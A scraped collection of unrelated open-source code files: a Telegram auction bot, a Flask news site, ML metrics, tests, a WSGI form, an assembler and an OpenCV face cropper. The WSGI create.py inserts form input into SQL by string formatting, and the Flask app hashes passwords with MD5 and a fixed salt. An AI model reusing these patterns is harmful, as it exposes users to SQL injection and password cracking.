помилка додавання роботи')\n print(ex)\n bot.send_message(message.chat.id, 'Роботу додано')\n bot.send_message(message.chat.id, art['name'])\n bot.send_message(message.chat.id, 'Стартова ціна: ' + int(art['bids']['start_bid']['value']))\n bot.send_photo(message.chat.id, art['pic_url'])\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n bt1 = types.KeyboardButton('Додати роботу')\n markup.add(bt1)\n msg = bot.send_message(message.chat.id, 'Додати ще одну роботу?', reply_markup=markup)\n bot.register_next_step_handler(msg, add_art_1, auctionID)\n\n\ndef negotiate(message, auction):\n works = ''\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n for work in getWorks(auction):\n markup.add(work)\n works += '🎈 ' + work + '\\n'\n bids = dict(db.child('auctions').child(auction).child('art').child(work).child('bids').get().val())\n for bid in bids:\n if bid != 'start_bid':\n works += '➖ ' + bid + '\\n'\n works += 'Ставка: ' + str(bids[bid]['value']) + '\\n'\n works += 'ID: ' + str(bids[bid]['id']) + '\\n'\n try:\n if bids[bid]['result'] == 'Відмова':\n works += '❌' + 'Відмова\\n'\n if bids[bid]['result'] == 'Куплено':\n works += '✅' + 'Куплено\\n'\n if bids[bid]['result'] == 'Надіслано':\n works += '❓' + 'Надіслано\\n'\n except Exception as e:\n pass\n works += '\\n'\n markup.add('Назад')\n msg = bot.send_message(message.chat.id, works, reply_markup=markup)\n bot.register_next_step_handler(msg, negotiate_2, auction)\n\n\ndef negotiate_2(message, auction):\n if message.text == 'Назад':\n start(message)\n else:\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n bids_message = ''\n art = message.text\n art_bids = dict(db.child('auctions').child(auction).child('art').child(message.text).child('bids').get().val())\n for bid in art_bids:\n if bid != 'start_bid':\n markup.add(bid)\n bids_message += '➖ ' + bid + '\\n'\n bids_message += 'Ставка: ' + str(art_bids[bid]['value']) + '\\n'\n bids_message += 'ID: ' + str(art_bids[bid]['id']) + '\\n'\n try:\n if art_bids[bid]['result'] == 'Відмова':\n bids_message += '❌' + 'Відмова\\n'\n if art_bids[bid]['result'] == 'Куплено':\n bids_message += '✅' + 'Надіслано\\n'\n if art_bids[bid]['result'] == 'Надіслано':\n bids_message += '❓' + 'Надіслано\\n'\n except Exception as e:\n pass\n markup.add('Назад')\n if bids_message == '':\n msg = bot.send_message(message.chat.id, 'Немає ставок', reply_markup=markup)\n else:\n msg = bot.send_message(message.chat.id, bids_message, reply_markup=markup)\n bot.register_next_step_handler(msg, negotiate_3, auction, art)\n\ndef negotiate_3(message, auction, art):\n if message.text == 'Назад':\n negotiate(message, auction)\n else:\n bet = message.text\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add('Надіслати текст-запрошення')\n markup.add('Відмітити як відмовлення')\n markup.add('Відмітити як куплене')\n markup.add('Назад')\n winner_text = 'Ви можете надіслати наступне повідомлення: \\n'\n winner_text += db.child('auctions').child(auction).child('winner_text').get().val()\n winner_text += '\\nВідмітити відмову або відмітити купівлю роботи'\n msg = bot.send_message(message.chat.id, winner_text, reply_markup=markup)\n bot.register_next_step_handler(msg, negotiate_4, auction, art, bet)\n\n\ndef negotiate_4(message, auction, art, bet):\n if message.text == 'Надіслати текст-запрошення':\n message_id = db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).child('id').get().val()\n bot.send_message(message_id,\n db.child('auctions').child(auction).child('winner_text').get().val())\n bot.send_photo(message_id,\n db.child('auctions').child(auction).child('art').child(art).child('pic_url').get().val())\n bot.send_message(message_id, db.child('auctions').child(auction).child('art').child(art).child('name').get().val())\n mess = 'Ваша ставка: ' + str(db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).child('value').get().val()) + ' грн\\n' + 'Якщо ви не зв\\'яжетесь з куратором протягом доби, вашу ставку буде анульовано'\n bot.send_message(message_id, mess)\n bot.send_message(message.chat.id, 'Надіслано')\n data = {'result': 'Надіслано',\n 'id': db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).child(\n 'id').get().val(),\n 'value': db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).child(\n 'value').get().val()}\n db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).set(data)\n negotiate(message, auction)\n if message.text == 'Відмітити як відмовлення':\n data = {'result': 'Відмова',\n 'id': db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).child('id').get().val(),\n 'value': db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).child('value').get().val()}\n db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).set(data)\n bot.send_message(message.chat.id, 'Зроблено')\n negotiate(message, auction)\n if message.text == 'Відмітити як куплене':\n data = {'result': 'Куплено',\n 'id': db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).child('id').get().val(),\n 'value': db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).child('value').get().val()}\n db.child('auctions').child(auction).child('art').child(art).child('bids').child(bet).set(data)\n bot.send_message(message.chat.id, 'Зроблено')\n negotiate(message, auction)\n if message.text == 'Назад':\n negotiate(message, auction)\n\n\n@bot.message_handler(func=lambda message: message.text)\ndef to_start(message):\n start(message)\n\n@bot.message_handler(content_types=['sticker'])\ndef sticker(message):\n bot.send_sticker(message.chat.id, 'CAACAgIAAxkBAALZ917FJNkYobdgo2LmDSaCE9eRX6kPAAKBYQAC4KOCB-bq_OmAUqhDGQQ')\n pass\n\n\nbot.polling()\n","repo_name":"ombabadugunda/auction_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":20628,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"243507219","text":"import hashlib\nfrom flask import render_template, flash, redirect, request, url_for, g, Markup, escape\nfrom flask import Response, jsonify, make_response\nfrom flask_login import login_user, logout_user, current_user, login_required\nfrom app import app, db, login_manager\nfrom .forms import author_login_form\nfrom .forms import author_signup_form\nfrom .forms import add_news_form\nfrom .models import User, News\nfrom config import POSTS_PER_PAGE\nimport json\nimport site_information\n\ninformation = site_information.information\n\n\ndef get_hashed_password(user_password):\n salt = \"cefalologin\"\n salted_password = user_password + salt\n hashed_value = hashlib.md5(salted_password.encode())\n return hashed_value.hexdigest()\n\n\n@login_manager.user_loader\ndef load_user(id):\n return User.query.get(int(id))\n\n\n@app.before_request\ndef before_request():\n g.user = current_user\n\n@app.errorhandler(403)\ndef not_found_error(error):\n information[\"site_title\"] = \"Forbidden\"\n information[\"page_header\"] = \"Error 403 - Forbidden\"\n information[\"page_description\"] = \"\"\n error_code = 403\n error_message = \"Sorry, access denied or forbidden!\"\n return render_template('4xx.html',\n information = information,\n error_code = error_code,\n error_message=error_message), 403\n\n\n@app.errorhandler(404)\ndef not_found_error(error):\n information[\"site_title\"] = \"File not found\"\n information[\"page_header\"] = \"Error 404 - File not found\"\n information[\"page_description\"] = \"\"\n error_code = 404\n error_message = \"Sorry, requested page is not found!\"\n return render_template('4xx.html',\n information = information,\n error_code = error_code,\n error_message=error_message), 404\n\n@app.errorhandler(405)\ndef not_allowed_error(error):\n information[\"site_title\"] = \"Method not allowed\"\n information[\"page_header\"] = \"Error 405 - Method not allowed\"\n information[\"page_description\"] = \"\"\n error_code = 405\n error_message = \"Sorry, this method is not allowed!\"\n return render_template('4xx.html',\n information = information,\n error_code = error_code,\n error_message = error_message), 405\n\n@app.errorhandler(500)\ndef internal_error(error):\n db.session.rollback()\n information[\"site_title\"] = \"Error\"\n information[\"page_header\"] = \"Error\"\n information[\"page_description\"] = \"Error 500\"\n return render_template('500.html', information=information), 500\n\n\n@app.route('/')\n@app.route('/index')\n@app.route('/index/')\ndef index(page=1):\n information[\"site_title\"] = \"Dashboard\"\n information[\"page_header\"] = \"Dashboard\"\n information[\"page_description\"] = \"\"\n # news_list = News.query.order_by(\"id desc\").all()\n news_list = News.query.order_by(\"id desc\").paginate(page, POSTS_PER_PAGE, False)\n count_user = len(User.query.all())\n count_news = len(News.query.all())\n\n return render_template(\n 'home.html', information=information,\n news_list=news_list,\n count_user=count_user,\n count_news=count_news\n )\n\n\n@app.route('/news//')\ndef show_news(news_id, response_format):\n information[\"site_title\"] = \"News Details\"\n information[\"page_header\"] = \"News Details\"\n information[\"page_description\"] = \"\"\n news_details = News.query.filter_by(id=news_id).first()\n if news_details == None:\n flash(\"The news does not exist\")\n return redirect(url_for('index'))\n else:\n news = {}\n news[\"id\"] = news_details.id\n news[\"title\"] = news_details.news_title\n news[\"body\"] = news_details.news_body\n news[\"author\"] = news_details.news_author\n news[\"date\"] = news_details.news_date\n if response_format.lower() == \"html\":\n news_details.news_body = Markup(news_details.news_body)\n return render_template(\n 'news.html', information=information,\n news_details=news_details\n )\n elif response_format.lower() == \"json\":\n return jsonify(news)\n elif response_format.lower() == \"xml\":\n response = make_response(render_template('single_news.xml', news=news))\n response.headers[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n return response\n else:\n flash(\"Unknown Format\")\n return redirect(url_for('index'))\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n information[\"site_title\"] = \"Login\"\n information[\"page_header\"] = \"Login Page\"\n information[\"page_description\"] = \"Showing Login Form\"\n form = author_login_form()\n if g.user is not None and g.user.is_authenticated:\n return redirect(url_for('index'))\n if request.method == \"GET\":\n return render_template('login.html', form=form, information=information)\n else:\n if form.validate_on_submit():\n email_address = form.email_address.data\n password = get_hashed_password(form.password.data)\n existing_user = User.query.filter_by(email_address=email_address).first()\n if existing_user == None:\n flash('Email address %s is not registered.' %\n (email_address))\n return redirect(url_for('login'))\n else:\n if existing_user.password == password:\n login_user(existing_user, remember=True)\n return redirect(request.args.get('next') or url_for('index'))\n else:\n flash(\"Password is incorrect\")\n return redirect(url_for('login'))\n else:\n flash(\"Form validation failed\")\n return render_template('login.html', form=form, information=information)\n\n\n@app.route('/signup', methods=['GET', 'POST'])\ndef signup():\n information[\"site_title\"] = \"Signup\"\n information[\"page_header\"] = \"Signup Page\"\n information[\"page_description\"] = \"Showing Signup Form\"\n form = author_signup_form()\n if g.user is not None and g.user.is_authenticated:\n return redirect(url_for('index'))\n\n if request.method == \"GET\":\n return render_template('registration.html',\n form=form, information=information)\n else:\n if form.validate_on_submit():\n email_address = form.email_address.data\n password = get_hashed_password(form.password.data)\n full_name = form.full_name.data\n existing_user = User.query.filter_by(email_address=email_address).first()\n if existing_user == None:\n new_user = User(email_address=email_address, password=password, full_name=full_name)\n db.session.add(new_user)\n db.session.commit()\n flash('Welcome %s' % full_name)\n login_user(new_user)\n return redirect(url_for('index'))\n else:\n flash(\"An user existed using the \" + email_address)\n return redirect(url_for('signup'))\n else:\n flash(\"Form validation failed\")\n return render_template('registration.html',\n form=form, information=information)\n\n\n@app.route('/add_news', methods=['GET', 'POST'])\n@login_required\ndef add_news():\n information[\"site_title\"] = \"Add News\"\n information[\"page_header\"] = \"Add News Page\"\n information[\"page_description\"] = \"Showing Add News Form\"\n form = add_news_form()\n\n if request.method == \"GET\":\n return render_template('add_edit_news.html',\n form=form, information=information)\n else:\n if form.validate_on_submit():\n news_title = escape(form.news_title.data)\n news_body = escape(form.news_body.data)\n news_author = escape(form.news_author.data)\n news_date = escape(form.news_date.data)\n news_user_id = current_user.id\n new_news = News(news_title=news_title, news_body=news_body,\n news_author=news_author, news_date=news_date, news_user_id=news_user_id)\n db.session.add(new_news)\n db.session.commit()\n flash('Created news %s' % news_title)\n return redirect(url_for('add_news'))\n else:\n flash(\"Form validation failed\")\n return render_template('add_edit_news.html',\n form=form, information=information)\n\n@app.route('/edit_news/', methods=['GET', 'POST'])\n@login_required\ndef edit_news(news_id):\n information[\"site_title\"] = \"Edit News\"\n information[\"page_header\"] = \"Edit News\"\n information[\"page_description\"] = \"\"\n referrer = str(request.referrer)\n news = News.query.filter_by(id=news_id).first()\n if news == None:\n flash(\"The news does not exist\")\n return redirect(referrer)\n else:\n if current_user.id!= news.news_user_id:\n flash(\"You are not authorised to edit this\")\n return redirect(url_for('index'))\n form = add_news_form(obj=news)\n if request.method == \"GET\":\n return render_template('add_edit_news.html',\n form=form, information=information, news=news)\n else:\n if form.validate_on_submit():\n news.news_title = escape(form.news_title.data)\n news.news_body = escape(form.news_body.data)\n news.news_author = escape(form.news_author.data)\n news.news_date = escape(form.news_date.data)\n news.news_user_id = current_user.id\n db.session.commit()\n flash('Updated news %s' % news.news_title)\n return redirect(referrer)\n else:\n flash(\"Form validation failed\")\n return render_template('add_edit_news.html',\n form=form, information=information, news=news)\n\n\n@app.route('/delete_news', methods=['POST'])\n@login_required\ndef delete_news():\n referrer = str(request.referrer)\n if request.method == \"POST\":\n news_id = request.form.get('delete_news_id')\n existing_news = News.query.get(news_id)\n if existing_news != None:\n if current_user.id != existing_news.news_user_id:\n flash(\"You are not authorised to delete this\")\n return redirect(url_for('index'))\n flash(\"Deleted: \"+existing_news.news_title)\n db.session.delete(existing_news)\n db.session.commit()\n return redirect(referrer)\n else:\n flash(\"News not found\")\n return redirect(referrer)\n else:\n flash(\"Invalid Request\")\n return redirect(referrer)\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n flash('You are logged out.')\n return redirect(url_for('index'))\n","repo_name":"arsho/newsroom-flask","sub_path":"webapp/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"12661044960","text":"import numpy as np\nimport sklearn\nimport torch\nfrom _binary import compute_usual_metrics\nfrom _pfbeta import pfbeta_np\n\n\ndef compute_metrics_over_thres(gts,\n preds,\n sample_weights=None,\n thres_range=(0, 1, 0.01),\n sort_by='fbeta'):\n if isinstance(gts, torch.Tensor):\n gts = gts.cpu().numpy()\n if isinstance(preds, torch.Tensor):\n preds = preds.cpu().numpy()\n assert isinstance(gts, np.ndarray) and isinstance(preds, np.ndarray)\n assert len(preds) == len(gts)\n\n # log loss for pos/neg/overall\n pos_preds = preds[gts == 1]\n neg_preds = preds[gts == 0]\n pos_loss = sklearn.metrics.log_loss(np.ones_like(pos_preds),\n pos_preds,\n eps=1e-15,\n normalize=True,\n sample_weight=None,\n labels=[0, 1])\n neg_loss = sklearn.metrics.log_loss(np.zeros_like(neg_preds),\n neg_preds,\n eps=1e-15,\n normalize=True,\n sample_weight=None,\n labels=[0, 1])\n total_loss = sklearn.metrics.log_loss(gts,\n preds,\n eps=1e-15,\n normalize=True,\n sample_weight=None,\n labels=[0, 1])\n\n # Probabilistic-Fbeta\n pfbeta = pfbeta_np(gts, preds, beta=1.0)\n # AUC\n fpr, tpr, _thresholds = sklearn.metrics.roc_curve(gts, preds, pos_label=1)\n auc = sklearn.metrics.auc(fpr, tpr)\n\n # PER THRESHOLD METRIC\n per_thres_metrics = []\n for thres in np.arange(*thres_range):\n bin_preds = (preds > thres).astype(np.uint8)\n metric_at_thres = compute_usual_metrics(gts, bin_preds, beta=1.0)\n pfbeta_at_thres = pfbeta_np(gts, bin_preds, beta=1.0)\n metric_at_thres['pfbeta'] = pfbeta_at_thres\n\n if sample_weights is not None:\n w_metric_at_thres = compute_usual_metrics(gts, bin_preds, beta=1.0)\n w_metric_at_thres = {\n f'w_{k}': v\n for k, v in w_metric_at_thres.items()\n }\n metric_at_thres.update(w_metric_at_thres)\n per_thres_metrics.append((thres, metric_at_thres))\n\n per_thres_metrics.sort(key=lambda x: x[1][sort_by], reverse=True)\n\n # handle multiple thresholds with same scores\n top_score = per_thres_metrics[0][1][sort_by]\n same_scores = []\n for j, (thres, metric_at_thres) in enumerate(per_thres_metrics):\n if metric_at_thres[sort_by] == top_score:\n same_scores.append([j, thres, abs(thres - 0.5)])\n else:\n assert metric_at_thres[sort_by] < top_score\n break\n if len(same_scores) == 1:\n best_thres, best_metric = per_thres_metrics[0]\n else:\n # idx with threshold nearer 0.5 is better\n best_idx = np.argmin(np.array(same_scores)[:, 2])\n best_thres, best_metric = per_thres_metrics[best_idx]\n\n # best thres, best results, all results\n return {\n 'best_thres': best_thres,\n 'best_metric': best_metric,\n 'all_metrics': per_thres_metrics,\n 'pfbeta': pfbeta,\n 'auc': auc,\n 'pos_log_loss': pos_loss,\n 'neg_log_loss': neg_loss,\n 'log_loss': total_loss,\n }\n","repo_name":"dangnh0611/kaggle_rsna_breast_cancer","sub_path":"src/pytorch-image-models/timm/metrics/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"18"} +{"seq_id":"19190557186","text":"from unittest import TestCase\nfrom decimal import Decimal\nfrom recon_writer import ReconciliationWriter\nfrom io import StringIO\nfrom recon import Reconciliation\n\nclass ReconciliationWriterTest(TestCase):\n\n def setUp(self):\n self.writer = ReconciliationWriter()\n\n def test_write_empty(self):\n \"\"\"Assert that the writer writes the expected when there is no lines to write.\"\"\"\n dest = StringIO()\n try:\n recon = Reconciliation()\n\n self.writer.write(recon,dest)\n\n expected = \"\"\n actual = dest.getvalue()\n\n self.assertEqual(expected, actual)\n finally:\n dest.close\n\n def test_write_sample1(self):\n \"\"\"Assert that the writer writes the given the sample data results as expected.\"\"\"\n dest = StringIO()\n try:\n recon = Reconciliation()\n recon.add('Cash', -8000)\n recon.add('GOOG', -10)\n recon.add('TD', 100)\n recon.add('MSFT', -10)\n\n self.writer.write(recon,dest)\n\n expected = \"Cash 8000\\nGOOG 10\\nMSFT 10\\nTD -100\\n\"\n actual = dest.getvalue()\n\n self.assertEqual(expected, actual)\n finally:\n dest.close\n","repo_name":"tomleccese/unit-reconciliation","sub_path":"test_recon_writer.py","file_name":"test_recon_writer.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6412887721","text":"from os.path import join\nfrom tempfile import TemporaryDirectory, gettempdir\nfrom unittest import TestCase\n\nfrom topiq import Message, MessageType, Subscriber, Topic\n\n\nclass Worker:\n\n def __init__(self, message: Message):\n self.message = message\n\n async def run(self):\n id = self.message.as_int()\n ...\n\n\nclass SubsriberTest(TestCase):\n\n def setUp(self):\n self.temporary_folder = TemporaryDirectory()\n message = Message(MessageType.BYTES, b'\\x01')\n self.topic_file_path = join(self.temporary_folder.name, 'topic1.et')\n with open(self.topic_file_path, 'wb') as writer:\n writer.write(message.to_bytes())\n\n def tearDown(self):\n self.temporary_folder.cleanup()\n\n async def test_subscriber(self):\n subscriber = Subscriber(Topic('name'), Worker)\n await subscriber.send_int_message(1)\n self.assertIsNotNone(subscriber)\n","repo_name":"usalko/topiq","sub_path":"tests/subscriber_test.py","file_name":"subscriber_test.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37367898547","text":"import pandas as pd\nimport pandavro as pdx\nfrom pathlib import Path\nimport sys\n\n\n#Cell\ndef combine_files(json_filepath, arvo_filepath, csv_filepath, output_filepath):\n \"\"\"Combines the three files, eliminates duplicates and it sorts the resulting dataset by City Name. Creates\n a csv file in output_filepath and returns a dataframe with its content\n \"\"\"\n #reading all the three files\n df = pd.read_json(json_filepath)\n df = df.append(pd.read_csv(csv_filepath))\n df = df.append(pdx.read_avro(arvo_filepath))\n #dropping duplicates\n df = df.drop_duplicates()\n #sorting by Name\n df = df.sort_values(by='Name')\n #writing to csv\n df.to_csv(output_filepath,columns=['Name','CountryCode','Population'], index=False)\n return pd.read_csv(output_filepath)\n\n\n#Cell\ndef city_with_largets_population_from_df(df):\n \"\"\"Returns the city with the largest population\n \"\"\"\n return df.sort_values(by='Population',ascending=False)[:1][['Name']].iloc[0]['Name']\n\n\n#Cell\ndef total_population_per_country_from_df(df, country_code):\n \"\"\"Returns the total population for country_code\n \"\"\"\n return df.loc[df['CountryCode'] == country_code].groupby('CountryCode').Population.sum().iloc[0]\n\n\ndef main():\n if len(sys.argv) != 5:\n print(\"Wrong usage, try: python candidate-exercises-public.py path/to/json/file path/to/avro/file \"\n \"path/to/csv/file \"\n \"path/to/final/csv/file\")\n sys.exit(1)\n print(\"Combining the files, eliminating any duplicates and write to a single .CSV file sorted alphabetically by \"\n \"the city name.\")\n final_csv = combine_files(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])\n print(\"The file \"+sys.argv[4] + \" was created successfully\")\n print(\"What is the count of all rows?\")\n print(len(final_csv))\n print(\"What is the city with the largest population?\")\n print(city_with_largets_population_from_df(final_csv))\n print(\"What is the total population of all cities in Brazil (CountryCode == BRA)?\")\n print(total_population_per_country_from_df(final_csv, 'BRA'))\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"theccalderon/imply","sub_path":"candidate-exercises-public.py","file_name":"candidate-exercises-public.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41988673672","text":"from cgi import parse_qs, escape\nfrom urllib.parse import urlparse\nimport mysql.connector\nimport sys\n\nurl = urlparse('mysql://root:@localhost:3306/test')\n\ndef insert_data(name, email, freetext):\n conn = mysql.connector.connect(\n host = url.hostname or 'localhost',\n port = url.port or 3306,\n user = url.username or 'root',\n password = url.password or '',\n database = url.path[1:],\n )\n sql_insert_query = \"\"\" INSERT INTO `indival`(`name`, `email`, `text`, `created`, `modified`) VALUES \n ('%(name)s', '%(email)s', '%(text)s', now(), now()) \"\"\" % {'name': name, 'email': email, 'text': freetext}\n \n cursor = conn.cursor()\n result = cursor.execute(sql_insert_query)\n conn.commit()\n\n print('INSERT SUCCESS')\n\ndef application(environ, start_response):\n status = '200 OK'\n response_headers = [\n ('Content-Type', 'text/html')\n ]\n start_response(status, response_headers)\n\n create_form = '''\n Create\n \n \n
\n

Name

\n

E-Mail

\n

Free Text

\n

\n
\n \n \n '''\n\n # FormView\n output = create_form\n\n # Save Process\n if environ['REQUEST_METHOD'] == 'POST':\n try:\n request_body_size = int(environ.get('CONTENT_LENGTH', 0))\n except (ValueError):\n request_body_size = 0\n\n request_body = environ['wsgi.input'].read(request_body_size)\n d = parse_qs(request_body.decode('ascii'))\n\n # Get POST data\n name = d.get('name', [''])[0]\n email = d.get('email', [''])[0]\n freetext = d.get('text', [''])[0]\n\n # Save data\n insert_data(name, email, freetext)\n bytes(output, encoding= 'utf-8')\n return [output]","repo_name":"qhung/python_crud","sub_path":"create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"40574239300","text":"import os\nimport sys\nimport re\n\nfrom lib.Parser import Parser\nfrom lib.Code import Code\nfrom lib.SymbolTable import SymbolTable\nfrom lib.CommandType import COMMANDTYPE\nfrom lib.Errors import *\n\n\nif len(sys.argv) != 2:\n print('[Invalid args] usage: python assembler.py ')\n exit()\n\ninput_file_path = sys.argv[1]\nif not os.path.isfile(input_file_path):\n print('[!] file not found')\n exit()\n\nparser = Parser(input_file_path)\ncode = Code()\nsymbol_table = SymbolTable()\nparsed_code = []\n\nwhile parser.advance():\n try:\n command_type = parser.command_type()\n if command_type == COMMANDTYPE.L:\n symbol = parser.symbol()\n symbol_table.get(symbol, parser.valid_line_number)\n elif command_type == COMMANDTYPE.A:\n symbol = parser.symbol()\n parsed_code.append({'type': COMMANDTYPE.A, 'symbol': symbol})\n elif command_type == COMMANDTYPE.C:\n dest = parser.dest()\n comp = parser.comp()\n jump = parser.jump()\n parsed_code.append({'type': COMMANDTYPE.C, 'dest': dest, 'comp': comp, 'jump': jump})\n except ParseError as e:\n print(f\"[ParseError] at line {e.line}: {e.message}\")\n exit()\n except MemoryError as e:\n print(f\"[MemoryError] at line {e.line}: {e.message}\")\n exit()\nparser.close()\noutput_file_path = re.match(r'(.*)[.]', input_file_path).group(1) + '.hack'\n\nwith open(output_file_path, 'w') as f:\n for line in parsed_code:\n if line['type'] == COMMANDTYPE.A and not line['symbol'].isdigit():\n line['symbol'] = symbol_table.get(line['symbol'])\n f.write(code.convert(line)+'\\n')","repo_name":"42-cjeon/nand2tetris","sub_path":"projects/custom-tools/assembler/Assembler.py","file_name":"Assembler.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"4700558015","text":"from django.contrib import admin\r\nfrom .models import Customer,VehicleInventory,RentalMaster\r\n# Register your models here.\r\n\r\nadmin.site.register(Customer)\r\n# admin.site.register(VehicleInventory)\r\nadmin.site.register(RentalMaster)\r\n\r\n@admin.register(VehicleInventory)\r\nclass VehicleInventoryAdmin(admin.ModelAdmin):\r\n list_display = ['id','vehicle_type','inventory_stock','email_id']","repo_name":"vik1626/BikeRentalShop","sub_path":"rbs/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"44817969849","text":"\nfrom queue import Queue\n\n\ndef minIndex(q, sortedIndex):\n\tmin_index = -1\n\tmin_val = 999999999999\n\tn = q.qsize()\n\tfor i in range(n):\n\t\tcurr = q.queue[0]\n\t\tq.get() # This is dequeue() in C++ STL\n\n\t\tif (curr <= min_val and i <= sortedIndex):\n\t\t\tmin_index = i\n\t\t\tmin_val = curr\n\t\tq.put(curr) # This is enqueue() in\n\t\t\t\t\t# C++ STL\n\treturn min_index\n\ndef insertMinToRear(q, min_index):\n\tmin_val = None\n\tn = q.qsize()\n\tfor i in range(n):\n\t\tcurr = q.queue[0]\n\t\tq.get()\n\t\tif (i != min_index):\n\t\t\tq.put(curr)\n\t\telse:\n\t\t\tmin_val = curr\n\tq.put(min_val)\n\ndef sortQueue(q):\n\tfor i in range(1, q.qsize() + 1):\n\t\tmin_index = minIndex(q, q.qsize() - i)\n\t\tinsertMinToRear(q, min_index)\n\nif __name__ == '__main__':\n\tq = Queue()\n\tq.put(30)\n\tq.put(11)\n\tq.put(15)\n\tq.put(4)\n\t\n\n\tsortQueue(q)\n\n\twhile (q.empty() == False):\n\t\tprint(q.queue[0], end = \" \")\n\t\tq.get()\n\n\n","repo_name":"therohit777/Hacktober_algo_bucket","sub_path":"Python3programtoimplementsortingaqueuedatastructure.py","file_name":"Python3programtoimplementsortingaqueuedatastructure.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"39"} +{"seq_id":"38544343870","text":"import json\n\n\nschema1={ \"index\" : { \"_index\" : \"movies_users\", \"_type\" : \"post\", \"_id\" : \"1\" } }\nschema2={\"index\":{\"_index\":\"movies\",\"_type\":\"movie\",\"_id\":1}}\n\n\nfile =open(\"../output/out\",\"r\")\nfile1 =open(\"../data/movies_users.json\",\"w\")\n\n\ndef write_schema1():\n\tfor line in file:\n\t\tx=eval(line.strip())\n\t\tid=x[0]\n\n\t\tmovies=[{\"movie\":i[0],\"rating\":i[1]} for i in x[1:]]\n\t\tschema1['index']['_id']=id\n\t\tfile1.write(json.dumps(schema1)+\"\\n\")\n\t\tfile1.write(json.dumps({\"movies\":movies})+\"\\n\")\n\n\nfile2_i = open(\"../data/movies\",\"r\")\nfile2_o = open(\"../data/movies.json\",\"w\")\n\nwrite_schema1()","repo_name":"harsha-konda/netphlix","sub_path":"filter/filter2.py","file_name":"filter2.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"1064724423","text":"import cv2\nimport sys\nimport os\nfrom os.path import join\nimport argparse\nimport subprocess\nfrom tqdm import tqdm\n\nDATASET_PATHS = {\n 'original': 'original_sequences/youtube',\n 'Deepfakes': 'manipulated_sequences/Deepfakes',\n 'Face2Face': 'manipulated_sequences/Face2Face',\n 'FaceSwap': 'manipulated_sequences/FaceSwap',\n 'NeuralTextures' : 'manipulated_sequences/NeuralTextures'\n}\nCOMPRESSION = ['c0', 'c23', 'c40']\n\n# specify yourself\nCASCADE_PATH = \"/Users/superlaut/face_scrapper/face_scrapper/lib/python3.6/site-packages/cv2/data/haarcascade_frontalface_default.xml\"\n\nFACE_CASCADE = cv2.CascadeClassifier(CASCADE_PATH)\n\n\ndef extract_face(data_path, output_path, imgname):\n #os.makedirs(output_path, exist_ok=True)\n img = cv2.imread(data_path)\n if (img is None):\n print(\"Can't open image file\")\n return 0\n #img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = FACE_CASCADE.detectMultiScale(img, 1.1, 3, minSize=(100, 100))\n if (faces is None):\n print('Failed to detect face')\n return 0\n\n facecnt = len(faces)\n print(\"Detected faces: %d\" % facecnt)\n \n i = 0\n height, width = img.shape[:2]\n\n for (x, y, w, h) in faces:\n r = max(w, h) / 2\n centerx = x + w / 2\n centery = y + h / 2\n nx = int(centerx - r)\n ny = int(centery - r)\n nr = int(r * 2)\n\n faceimg = img[int(0.8*ny):int(1.2*(ny+nr)), \n int(0.8*nx):int(1.2*(nx+nr))]\n lastimg = cv2.resize(faceimg, (32, 32))\n # counter not necessary when absolutely sure only\n # one face included\n i += 1\n #cv2.imwrite(\"image%d.jpg\" % i, lastimg)\n if i == 1:\n cv2.imwrite(join(output_path, imgname),lastimg)\n else: \n return 0\n \ndef extract_method_images(data_path, dataset, compression):\n images_path = join(data_path, DATASET_PATHS[dataset], compression, 'images')\n cropped_path = join(data_path, DATASET_PATHS[dataset], compression, 'croppedfaces')\n \n for image_folder in os.listdir(images_path):\n if image_folder != '.DS_Store':\n cropped_folder = str(image_folder) + '_faces'\n os.makedirs(join(cropped_path, cropped_folder), exist_ok=True)\n count = 0\n for image in tqdm(os.listdir(join(images_path, image_folder))):\n caption = str(count) + '.jpg'\n count += 1\n 